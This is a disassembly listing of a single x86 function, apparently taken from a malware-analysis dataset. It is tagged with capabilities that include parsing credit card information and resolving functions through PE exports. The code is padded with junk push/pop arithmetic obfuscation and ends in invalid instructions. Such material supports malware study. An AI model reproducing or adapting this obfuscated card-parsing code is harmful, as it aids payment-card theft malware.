Function at 0x4160b5
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3f0], eax
push edi
or edi, 0xb6bc
sub edi, 0x1514d
or edi, 0x164ef
pop edi
push ebx
push ecx
add esp, 4
add ebx, 0x9d33
sub ebx, 0xb72d
or ebx, 0x45ef
and ebx, 0x15b39
pop ebx
mov ecx, dword [ebp - 0x2098]
mov dword [ebp - 0x15c0], ecx
push edx
and edx, 0x10825
pop edx
push ecx
push esi
add esp, 4
xor ecx, 0x17a2
pop ecx
push ecx
push eax
add esp, 4
xor ecx, 0x180b2
add ecx, 0x13acf
xor ecx, 0x10185
and ecx, 0x1196d
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x70
imul eax, dword [ebp - 0x10], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x10], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x15c0], edx
mov edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x1ffc], edx
mov eax, dword [ebp - 0x1ffc]
add eax, dword [ebp - 0x15c0]
mov dword [ebp - 0x3f0], eax
push edx
push edx
add esp, 4
call 0x415f9d
add byte [ebp + 0x3d], al
inc edx
dec edi
aas
inc eax
add esp, 4
pop edx
push eax
and eax, 0x1785
pop eax
push eax
add eax, 0x12a23
or eax, 0x90be
and eax, 0xecff
pop eax
mov byte [ebp - 0xbec], 0x52
mov byte [ebp - 0xbeb], 0xb9
mov byte [ebp - 0xbea], 0x10
mov byte [ebp - 0xbe9], 0x10
mov byte [ebp - 0xbe8], 0x10
mov byte [ebp - 0xbe7], 0x10
mov byte [ebp - 0xbe6], 0x5a
push ecx
push eax
add esp, 4
sub ecx, 0x10a6e
or ecx, 0xbbb4
or ecx, 0x17805
or ecx, 0x892f
pop ecx
push ecx
push esi
add esp, 4
or ecx, 0x64b5
jmp 0x41601f
pop ecx
mov byte [ebp - 0xbe4], 0x52
mov byte [ebp - 0xbe3], 0xb9
mov byte [ebp - 0xbe2], 0x20
mov byte [ebp - 0xbe1], 0x20
mov byte [ebp - 0xbe0], 0x20
mov byte [ebp - 0xbdf], 0x20
mov byte [ebp - 0xbde], 0x5a
push edi
jmp 0x41605b
xor edi, 0x18a0
pop edi
push eax
push edx
add esp, 4
xor eax, 0xd0bd
xor eax, 0x6ffa
jmp 0x41607c
sub eax, 0x1831f
pop eax
mov dword [ebp - 0x209c], 0xe
push edx
xor edx, 0xc727
pop edx
push esi
push eax
add esp, 4
xor esi, 0x943e
or esi, 0x166ec
call 0x4160b5
add byte [ebx + 0x49], al
inc edi
inc esp
cmp esi, dword [esi]
dec eax
inc esp
inc esi
add esp, 4
or esi, 0x1153d
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15c4], eax
push ecx
call 0x4160e3
add byte [edi + 0x4d], cl
xor al, 0x47
xor al, 0x48
xor eax, 0x5904c483
push ebx
push eax
add esp, 4
jmp 0x4160f3
add ebx, 0x137a8
and ebx, 0x18081
xor ebx, 0x108fa
pop ebx
mov dword [ebp - 0x20a0], 0xffffffff
push esi
push edi
add esp, 4
call 0x416124
add byte [ebx + 0x39], cl
dec ebx
dec ebp
dec edx
dec edi
dec ebx
dec ecx
add esp, 4
sub esi, 0xad45
pop esi
push ecx
sub ecx, 0x14a3a
or ecx, 0x1250d
and ecx, 0x1855e
pop ecx
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x4fc], ecx
jmp 0x41615f
mov edx, dword [ebp - 0x4fc]
add edx, 1
mov dword [ebp - 0x4fc], edx
push edi
and edi, 0x50b6
sub edi, 0xb9f8
xor edi, 0x14eec
or edi, 0xe8b2
pop edi
push eax
push esi
add esp, 4
sub eax, 0x89da
and eax, 0x17093
xor eax, 0xa9c7
pop eax
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x4161d9
push ecx
sub ecx, 0xdb7f
xor ecx, 0x58c5
pop ecx
push ecx
jmp 0x4161ba
pop ecx
push ecx
push ebx
add esp, 4
and ecx, 0x1364d
jmp 0x4161cc
jmp 0x4161d3
pop ecx
jmp 0x416407
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xac4], ecx
push ebx
push eax
add esp, 4
sub ebx, 0x1111a
sub ebx, 0x916e
jmp 0x416207
pop ebx
push edi
jmp 0x416211
jmp 0x41621a
xor edi, 0x8d0d
pop edi
mov edx, dword [ebp - 0x15c4]
mov dword [ebp - 0xa60], edx
mov dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x4fc]
invalid
invalid
invalid